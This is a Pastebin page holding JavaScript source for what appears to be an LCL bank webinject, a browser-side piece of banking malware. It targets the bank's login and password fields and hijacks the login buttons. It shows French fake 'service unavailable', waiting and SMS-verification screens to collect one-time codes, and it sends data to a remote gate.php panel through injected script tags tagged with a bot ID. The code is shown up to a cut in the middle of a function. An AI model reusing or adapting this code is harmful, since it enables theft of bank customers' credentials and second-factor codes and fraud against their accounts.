Advertisement
Xylitol

LCL Webinject

Nov 1st, 2014
447
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. //=================== ADMIN =====================
  2.  
  3. var ALINK = "https://securetargeting.com/content/webanalyser/lcl/admin/";
  4. var GATE = ALINK+"gate/gate.php";
  5.  
  6. //=================== INIT PROTOS =====================
  7.  
  8. var By = (function(){
  9.    
  10.     function ByArgs(arguments){
  11.         var found = {
  12.             tag: false,
  13.             error: false,
  14.             element: false
  15.         }
  16.        
  17.         if(arguments && arguments.length >= 3){
  18.             var elements_array = arguments[1].split("|");
  19.             if(elements_array.length > 0){
  20.                 for(var k = 0; k < elements_array.length; k++){
  21.                     var elements = arguments[0].getElementsByTagName(elements_array[k]);
  22.                     if(elements && elements.length > 0){
  23.                         for(var i = 0; i < elements.length; i++){
  24.                             for(var e = 2; e < arguments.length; e++){
  25.                                 var pattern = new RegExp(arguments[e].split(":")[1],"igm");
  26.                                 if(arguments[e].split(":")[0] == "class"){
  27.                                     if(elements[i].className != null && pattern.test(elements[i].className)){
  28.                                         found.tag = true;
  29.                                     }else{
  30.                                         found.error = true;
  31.                                     }
  32.                                 }else if(arguments[e].split(":")[0] == "for"){
  33.                                     if(elements[i].className != null && pattern.test(elements[i].htmlFor)){
  34.                                         found.tag = true;
  35.                                     }else{
  36.                                         found.error = true;
  37.                                     }
  38.                                 }else{
  39.                                     if(elements[i].getAttribute(arguments[e].split(":")[0]) != null && pattern.test(elements[i].getAttribute(arguments[e].split(":")[0]))){
  40.                                         found.tag = true;
  41.                                     }else{
  42.                                         found.error = true;
  43.                                     }
  44.                                 }
  45.                             }
  46.                             if(found.tag && !found.error){
  47.                                 return elements[i];
  48.                             }else{
  49.                                 found.tag = false;
  50.                                 found.error = false;
  51.                             }
  52.                         }
  53.                     }
  54.                 }
  55.                 return false;
  56.             }else{
  57.                 return false;
  58.             }
  59.         }else{
  60.             return false;
  61.         }
  62.     }
  63.    
  64.     function ByContent(arguments){
  65.        
  66.         var found = {
  67.             tag: false,
  68.             error: false,
  69.             element: false
  70.         }
  71.    
  72.         if(arguments && arguments.length > 2){
  73.             var elements = arguments[0].getElementsByTagName(arguments[1]);
  74.             if(elements && elements.length > 0){
  75.                 for(var i = 0; i < elements.length; i++){
  76.                     for(var e = 2; e < arguments.length; e++){
  77.                         var pattern = new RegExp(arguments[e]);
  78.                         if(pattern.test(elements[i].innerHTML.toLowerCase())){
  79.                             found.tag = true;
  80.                         }else{
  81.                             found.error = true;
  82.                         }
  83.                     }
  84.                     if(found.tag && !found.error){
  85.                         return elements[i];
  86.                     }else{
  87.                         found.tag = false;
  88.                         found.error = false;
  89.                     }
  90.                 }
  91.             }
  92.         }
  93.         return false;
  94.     }
  95.    
  96.     return{
  97.         args: function(){
  98.             return ByArgs(arguments);
  99.         },
  100.        
  101.         content: function(){
  102.             return ByContent(arguments);
  103.         }
  104.     }
  105.    
  106. }())
  107.  
  108. by = By;
  109.  
  110. var Hujax = (function(){
  111.    
  112.     var callback_func = false;
  113.    
  114.     function SetCallback(p){
  115.         callback_func = p;
  116.     }
  117.    
  118.     function Send(url){
  119.        
  120.         var BOTID = document.getElementById("BMUD");   
  121.         if(BOTID){
  122.             BOTID = vw.text(BOTID);
  123.         }else{
  124.             BOTID = "%%ID%%";
  125.         }
  126.        
  127.         url += "&ip="+BOTID;
  128.    
  129.         if(document.getElementById("rgk_ajax")){
  130.             document.getElementById("rgk_ajax").parentNode.removeChild(document.getElementById("rgk_ajax"));
  131.         }
  132.         var script = document.createElement("script");
  133.         script.type = "text/javascript";
  134.         script.id = "rgk_ajax";
  135.         if (script.readyState) {
  136.             script.onreadystatechange = function() {
  137.                 if (script.readyState == "loaded" || script.readyState == "complete") {
  138.                     script.onreadystatechange = null;
  139.                     callback_func();
  140.                 }
  141.             };
  142.         } else {
  143.             script.onload = function() {
  144.                 callback_func();
  145.             };
  146.         }
  147.         url = url.replace(/\(/g,"%28").replace(/\)/g,"%29");
  148.         script.src = url;
  149.         if(document.getElementsByTagName("head").length > 0){
  150.             document.getElementsByTagName("head")[0].appendChild(script);
  151.         }else{
  152.             document.getElementsByTagName("body")[0].appendChild(script);
  153.         }
  154.     }
  155.  
  156.     return{
  157.        
  158.         callback: function(param){
  159.             SetCallback(param);
  160.         },
  161.        
  162.         send: function(param){
  163.             Send(param);
  164.         }
  165.  
  166.     }
  167.    
  168. }());
  169.  
  170. hujax = Hujax;
  171.  
  172. var Clone = (function(){
  173.  
  174.     function CheckQ(param){
  175.         if(param == null || param == undefined || param == "null" || param == "undefined" || param == "" || param == " "){
  176.             return false;
  177.         }else{
  178.             return true;
  179.         }
  180.     }
  181.  
  182.     function COPY(obj,func){
  183.         if(obj.type == "image"){
  184.             var clo = document.createElement("img");
  185.             for (x in obj.attributes){
  186.                 if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){
  187.                     if(obj.attributes[x].name == "onclick" ||
  188.                        obj.attributes[x].name == "name" ||
  189.                        obj.attributes[x].name == "disabled" ||
  190.                        obj.attributes[x].name == "id"
  191.                     ){
  192.                         continue;
  193.                     }
  194.                     if(obj.attributes[x].name == "type" && obj.attributes[x].value == "submit"){
  195.                         clo.setAttribute(obj.attributes[x].name,"button");
  196.                     }else{
  197.                         clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value);
  198.                     }
  199.                 }
  200.             }
  201.         }else{
  202.             var clo = document.createElement(obj.tagName);
  203.             for (x in obj.attributes){
  204.                 if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){
  205.                     if(obj.attributes[x].name == "onclick" ||
  206.                        obj.attributes[x].name == "name" ||
  207.                        obj.attributes[x].name == "disabled" ||
  208.                        obj.attributes[x].name == "href"
  209.                     ){
  210.                         continue;
  211.                     }
  212.                     if(obj.attributes[x].name == "type" && obj.attributes[x].value == "submit"){
  213.                         clo.setAttribute(obj.attributes[x].name,"button");
  214.                     }else{
  215.                         clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value);
  216.                     }
  217.                 }
  218.             }
  219.         }
  220.         if(obj.tagName == "A" || obj.tagName == "BUTTON" || obj.tagName == "LI"){
  221.             clo.innerHTML = obj.innerHTML;
  222.         }
  223.         clo.style.cursor = "pointer";
  224.         obj.style.display = "none";
  225.         AddListenner(clo,"click",func);
  226.         obj.parentNode.insertBefore(clo,obj);
  227.     }
  228.    
  229.     function AddListenner(obj,evType,func){
  230.         if(obj.addEventListener ){
  231.             obj.addEventListener(evType,func,false);
  232.             return true;
  233.         }else if(obj.attachEvent){
  234.             var r = obj.attachEvent('on'+evType,func);
  235.             return r;
  236.         }else{
  237.             elm['on'+evType] = func;
  238.         }
  239.     }
  240.    
  241.     function JUSTCOPYINPUT(obj,content){
  242.         var clo = document.createElement(obj.tagName);
  243.         for (x in obj.attributes){
  244.             if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){
  245.                 if(obj.attributes[x].name == "onclick" ||
  246.                    obj.attributes[x].name == "name" ||
  247.                    obj.attributes[x].name == "href" ||
  248.                    obj.attributes[x].name == "id" ||
  249.                    obj.attributes[x].name == "value"
  250.                 ){
  251.                     continue;
  252.                 }
  253.                 clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value);
  254.             }
  255.         }
  256.         clo.value = content;
  257.         obj.style.display = "none";
  258.         obj.parentNode.insertBefore(clo,obj);
  259.     }
  260.    
  261.     return{
  262.         click: function(obj,func){
  263.             COPY(obj,func);
  264.         },
  265.        
  266.         copy: function(obj,content){
  267.             JUSTCOPYINPUT(obj,content);
  268.         }
  269.     }
  270.    
  271. }())
  272.  
  273. clone = Clone;
  274.  
  275. var VW = (function(){
  276.    
  277.     var fTarget = false;
  278.     var fDeftime = 10;
  279.     var fTime = fDeftime;
  280.     var fCallback = function(){return false;};
  281.    
  282.     function getViewportHeight() {
  283.         var ua = navigator.userAgent.toLowerCase();
  284.         var isOpera = (ua.indexOf('opera')  > -1);
  285.         var isIE = (!isOpera && ua.indexOf('msie') > -1);
  286.         return ((document.compatMode || isIE) && !isOpera) ? (document.compatMode == 'CSS1Compat') ? document.documentElement.clientHeight : document.body.clientHeight : (document.parentWindow || document.defaultView).innerHeight;
  287.     }
  288.    
  289.     return{
  290.         hidedoc: function(doc){
  291.             var none_div = doc.getElementById("none_div");
  292.             if(none_div){
  293.                 none_div.style.display = "";
  294.             }else{
  295.                 doc.documentElement.style.display = "none";
  296.             }
  297.         },
  298.        
  299.         showdoc: function(doc){
  300.             var none_div = doc.getElementById("none_div");
  301.             if(none_div){
  302.                 none_div.style.display = "none";
  303.             }else{
  304.                 doc.documentElement.style.display = "";
  305.             }
  306.         },
  307.        
  308.         browser: function(){
  309.             if(navigator.userAgent.toLowerCase().indexOf("msie 6") >= 0){
  310.                 return "IE6";
  311.             }else if(navigator.userAgent.toLowerCase().indexOf("msie 7") >= 0){
  312.                 return "IE7";
  313.             }else if(navigator.userAgent.toLowerCase().indexOf("msie 8") >= 0){
  314.                 return "IE8";
  315.             }else if(navigator.userAgent.toLowerCase().indexOf("msie 9") >= 0){
  316.                 return "IE9";
  317.             }else if(navigator.userAgent.toLowerCase().indexOf("msie 10") >= 0){
  318.                 return "IE10";
  319.             }else if(navigator.userAgent.toLowerCase().indexOf("firefox") >= 0){
  320.                 return "FF";
  321.             }else{
  322.                 return "OTHER";
  323.             }
  324.         },
  325.        
  326.         bind: function(obj, evType, func){
  327.             if(obj.addEventListener ){
  328.                 obj.addEventListener(evType,func,false);
  329.                 return true;
  330.             }else if(obj.attachEvent){
  331.                 var r = obj.attachEvent('on'+evType,func);
  332.                 return r;
  333.             }else{
  334.                 elm['on'+evType] = func;
  335.             }
  336.         },
  337.        
  338.         mouse: function(eve,element){
  339.             if(document.createEvent){
  340.                 var event = document.createEvent('MouseEvents');
  341.                 event.initMouseEvent(eve,true,true,document.defaultView,1,0,0, 0, 0, false, false, false, false,0,null);
  342.                 element.dispatchEvent(event);
  343.             }else if(element.fireEvent){
  344.                 if(eve == "click"){
  345.                     element.click();
  346.                 }else{
  347.                     var event = document.createEventObject();
  348.                     element.fireEvent('on'+eve, event);
  349.                 }
  350.             }
  351.         },
  352.        
  353.         text: function(param){
  354.             if(param){
  355.                 var tmp = (param.textContent ? param.textContent : param.innerText) ? (param.textContent ? param.textContent : param.innerText) : param.innerHTML;
  356.                 return tmp.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$)/ig,"");
  357.             }else{
  358.                 return "";
  359.             }
  360.         },
  361.        
  362.         from: function(parent,child){
  363.             return parent && child ? parent.getElementsByTagName(child) : false;
  364.         },
  365.        
  366.         digits: function(digits){
  367.             var RES = {
  368.                 NUMBERS:"",
  369.                 OTHER: ""
  370.             }
  371.             var res = '';
  372.             if(digits && digits.length > 0){
  373.                 digits = digits.replace(/\u2212/g, "-");
  374.                 var ValidChars = "0123456789";
  375.                 for(var i = 0;i < digits.length; i++){
  376.                     var Char = digits.charAt(i);
  377.                     if(ValidChars.indexOf(Char) >=0){
  378.                         res += Char;
  379.                     }else{
  380.                         RES.OTHER += Char;
  381.                     }
  382.                 }
  383.             }
  384.             RES.NUMBERS = parseFloat(res);
  385.             return RES;
  386.         },
  387.        
  388.         blockenter: function(el){
  389.             if(el){
  390.                 el.onkeypress = function(evt){
  391.                     var evt = (evt) ? evt : ((event) ? event : null);
  392.                     var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);
  393.                     if ((evt.keyCode == 13) && (node.type=="text" || node.type=="password")){
  394.                         return false;
  395.                     }
  396.                 }
  397.             }
  398.         },
  399.        
  400.         selected: function(select){
  401.             if(select){
  402.                 var RES = {
  403.                     VALUE: "",
  404.                     TEXT: ""
  405.                 }
  406.                 RES.VALUE = select[select.selectedIndex].value;
  407.                 RES.TEXT = select[select.selectedIndex].text;
  408.                 return RES;
  409.             }else{
  410.                 return false;
  411.             }
  412.         },
  413.        
  414.         docheight: function(){
  415.             return Math.max(document.compatMode != 'CSS1Compat' ? document.body.scrollHeight : document.documentElement.scrollHeight, getViewportHeight());
  416.         },
  417.        
  418.         docwidth: function(num){
  419.             if(num){
  420.                 return (window.screen.availWidth / num);
  421.             }else{
  422.                 return window.screen.availWidth;
  423.             }
  424.         },
  425.        
  426.         finder: function(obj,callback,time){
  427.             fTarget = obj;
  428.             fCallback = callback;
  429.             if(time)fTime = time;
  430.             setTimeout(vw._finder,500);
  431.         },
  432.        
  433.         _finder: function(){
  434.             if(fTarget()){
  435.                 fCallback();
  436.                 fTime = fDeftime;
  437.             }else{
  438.                 if(fTime > 0){
  439.                     fTime--;
  440.                     setTimeout(vw._finder,1000);
  441.                 }else{
  442.                     fTime = fDeftime;
  443.                 }
  444.             }
  445.         }
  446.     }
  447.    
  448. }())
  449.  
  450. vw = VW;
  451.  
  452. if(typeof HTMLElement != 'undefined' && !HTMLElement.prototype.click){
  453.     HTMLElement.prototype.click=function(){
  454.         var evt = this.ownerDocument.createEvent('MouseEvents');
  455.         evt.initMouseEvent('click', true, true, this.ownerDocument.defaultView, 1, 0, 0, 0, 0, false, false, false, false, 0, null);
  456.         this.dispatchEvent(evt);
  457.     }
  458. }
  459.  
  460. //=================== INIT VARIABLES =====================
  461.  
  462. var UI_login_input = document.getElementById("identifiantIdForm");
  463. var UI_password_input = document.getElementById("CodeId");
  464. var UI_login_button_0 = document.getElementById("validerClavierCLI");
  465. var UI_login_button_1 = document.getElementById("validerClavierCLA");
  466. var UI_reset_button = document.getElementById("ResetClavier_idImageClavier");
  467.  
  468. var buttonForClick = false;
  469.  
  470. var kl = "[NONE]";
  471. var smsButton = false;
  472.  
  473. var HOLDER = {
  474.     LOGIN: "",
  475.     PASSWORD: "",
  476.     SMS: ""
  477. }
  478.  
  479. var QUERY = {
  480.     COMMAND: "NONE",
  481.     VALUE: false,
  482.     CHANGED: false,
  483.     FINISH: false
  484. }
  485.  
  486. var FKTEXT = {
  487.     WAITING: "Attendez, s'il vous pla&#238;t...",
  488.     BLOCKTITLE: "Le service est temporairement inaccessible",
  489.     BLOCKMAIN: "Nous pr&#233;sentons nos excuses. Le service est temporairement inaccessible suite aux travaux techniques sur les serveurs de la banque. Nous faisons tout possible pour am&#233;liorer la qualit&#233; du service de nos clients et assurer votre s&#233;curit&#233; sur le niveau sup&#233;rieur. Nos sp&#233;cialistes vont restaurer le travail et l'acc&#232;s aux comptes dans les plus brefs d&#233;lais. Merci de votre patience et compr&#233;hension.",
  490.     BLOCTRYNEXTTIME: "Essayez entrer plus tard...",
  491.     SMSTITLE: "V&#233;rification suppl&#233;mentaire",
  492.     SMSQUERY: "Nous avons introduit, pour l'acc&#232;s plus s&#251;r &#224; vos comptes, un nouveau syst&#232;me de l'identification pour SMS code",
  493.     SMSQUERY2: "Pour continuer inscrivez le code re&#231;u par SMS.",
  494.     SMSLABEL: "Code d'acess"
  495. }
  496.  
  497. //=================== INIT FAKE FUNCTIONS =====================
  498.  
  499. vw.finish = function(){
  500.     if(!QUERY.CHANGED){
  501.         QUERY.FINISH = true;
  502.     }
  503. }
  504.  
  505. vw.fake_step = function(step,status){
  506.     switch(step){
  507.        
  508.         case("login"):
  509.             vw.lethim();
  510.         break;
  511.        
  512.         case("relogin"):
  513.             vw.lethim();
  514.         break;
  515.        
  516.         case("wait"):
  517.             var fkWaitContent = '<div style="left:'+(vw.docwidth(2) - 175)+'px;top: 290px;position: absolute;z-index: 100;color: #333333;font: 0.75em Arial;text-align: center;width:350px;">   <div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABUAAABKCAYAAABUzx+0AAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAJYSURBVHja7JjPi9pAFMfz3kRcpdKDgj9QwUXw4qkKxT9A6WUPhd4KXgTxHyoUehP23v9DwUMFzx5W8SIeFFrZZjaVVjbJm5k3ui09ZOAxmZB88p03mZe8B851DagxXAmDEOMiKIRAZA+WypCAR1SDpTqTna4HCyAaxiylFEDVBwyYQAwdo0Y9qZQCUlAl3NUoDasQBiiqoGEYKkxo1KJr2CmgASqVu4b30QR83p+vdzULpXLDc9DJ6vX6q36//7FUKt15nncLBAjDN+lsNBq9bbVan2q1WqLRaNwUCgXHNfhT5w4xGAzetNvtL71eL1mpVM4gZCwU6dt8Pp/sdDqfu91uAKiCAmeLDofDD8Vi8aZarUYWBYlgy5q+D3vfbDaT1M7BC0MeAsBtLpdzVFAwgMjz/quTTqVSjq1SrWIppS8WrKAc/yqb6ZvD+SxbT5/yt8NVyvEpu6HzF1oMjaExNIbG0BgaQ/8FVP62F4NKBVxyoDJkuhvlpUql4mGS4w4bn1pBpQFAnkfEH8fj0Vqpbuqe/xf9sN1uWQtlhP2x1Wr1dT6ff+coVYEi/Xg8vl8ulz/X63UEKogfW+RUdfypP5bL5W+Hw+Gdn4+6mUyGhFqXiyaTyYOfOc/2+31vt9t5iUTCTafTZ6jDKGKRmcl0Ol0tFov7bDb7uNlscrPZ7DUoSh3h9Jw6VhYRBKMwaOojMULYVhwVKU/gTREWaQ5wI5lgJmTAiFpSB+U2agf+ap64EkbuQhsoMOOtd+30yTghLCGqBQtEuZdaqIDy/6Ikb6pSnMZPAgwAIMDKTKDUFxMAAAAASUVORK5CYII=) no-repeat scroll left top transparent;float: left;height: 74px;width: 21px;"></div> <div style="float:left;width:300px;">       <div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAPCAYAAADd/14OAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAuSURBVHjaYmRgYGBkIAKAFDERo5CFFIXMxCpkGTgTRxXiThQzZ878T4xCgAADAOPEAy1aYXEMAAAAAElFTkSuQmCC) repeat-x scroll left bottom transparent;height: 14px;"></div>       <div style="background: url(data:image/gif;base64,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) no-repeat scroll 7px 7px #FFFFFF;color: #999999;font-size: 1.167em;height: 46px;margin: 0;padding: 0px 15px 0 50px;"><div style="padding-top:11px;font-size:11px;color:#185BB6;">'+FKTEXT.WAITING+'</div></div><div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAPCAYAAADd/14OAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAsSURBVHjaYpw5c+Z/BiIAIxDrEaOQBYj/jCqkisK/A2fiP2IUMjMQCQACDABXfg8C4LEGcAAAAABJRU5ErkJggg==) repeat-x scroll left top transparent;height: 14px;"></div>   </div>  <div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABUAAABKCAYAAABUzx+0AAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKsSURBVHja7Jm/qxpBEMdn9wnGkHSCWGiRMlja+AcI6SSQPyCVEJI/SAQRhfRpguA/ICm0slFEEYlaWaXw6d3uu/NHmDfO7u3FR6pbGNbTu898d/aHzigAQMK5aXje6LVzSxmg+h44Bw17Qa51HHgIfSAPc6DQiXJVfoVyMGqS3BdLKTbFXEfGOgS+uQyPGlh655hSVQL1NJ5WxamL4ZgpBsYBjGAMvQKxQmo+ei2RAFYpVicRXEQoZeFYqUImDJNCN4hgNsszpVevvmWW6XqmK+X0+UOz2dzUarUP5XL57Wq1mux2O4+AuBBog5PzA8fjUW+3W5hMJvvFYnEcDodfG43Gr4tiF8NhO8GFDtrVQ6AU+v3+42Aw+NxqtUbBWx562LNAfbwcJR5XoVCAarWarlQqjVwul75sDEnMtvNOTdKZKBaLkM/nX9Xr9U9o8rieg/PQsJVKpXQA/xihkFMrjNBsNgtCiHeOsJvGQjOZDCilXjuo4hwIFhqohGBRxFZoVUoWvnA4b2NBbQezKRROSoGL2z3DN4UDXhLq1BJoAk2gCTSBJtAE+r+hTim6dIBwMH2vUu3o8K9j6ThczowO/xUaP6aHwwGklI8RCk2ONAsNsr7w1/RvpgbgpJiFjsfj/Xq9/sFlcw7qb6GbzQaWy6Xf7Xa/k6KCMtRVblRLCuz1evvRaPRtNpv9YXJP5bIKUp7nQZjwTqfT/Xw+94OE9wtKeOMO/wxtt9t+MNOLQOXPTqfTRQp9g9IoJ6ff7+/JjTgzpj33msb6VJXwmHKHMoCjlAKGcjOsHIFsCckjJSRlUc6BVRRUR0C1DUahYHlIGUZg3K4pVP/QFqhtR1mVupY6Iw8UrDTqUHY+U69QiDgvIW752Ge+c+DeQrcylOG1qzIuf3/xPw+eBBgA9ioHIvHy2yIAAAAASUVORK5CYII=) no-repeat scroll left top transparent;float: left;height: 74px;width: 21px;"></div></div>';
  518.             var popup_elem_common = document.getElementById("popup_elem_common");
  519.             if(popup_elem_common)popup_elem_common.parentNode.removeChild(popup_elem_common);
  520.             var popup_elem = document.createElement("div");
  521.             popup_elem.id = "popup_elem_common";
  522.             popup_elem.style.position = "absolute";
  523.             popup_elem.style.top = "0px";
  524.             popup_elem.style.left = "0px";
  525.             popup_elem.style.width = "100%";
  526.             popup_elem.style.height = "100%";
  527.             popup_elem.style.zIndex = "1001";
  528.             popup_elem.style.background = "url(blank.gif)";
  529.             popup_elem.innerHTML = fkWaitContent;
  530.             document.getElementsByTagName('body')[0].appendChild(popup_elem);
  531.            
  532.             if(status)return false;
  533.             setTimeout(vw.finish,90000);
  534.         break;
  535.        
  536.         case("hidewait"):
  537.             var popup_elem_common = document.getElementById("popup_elem_common");
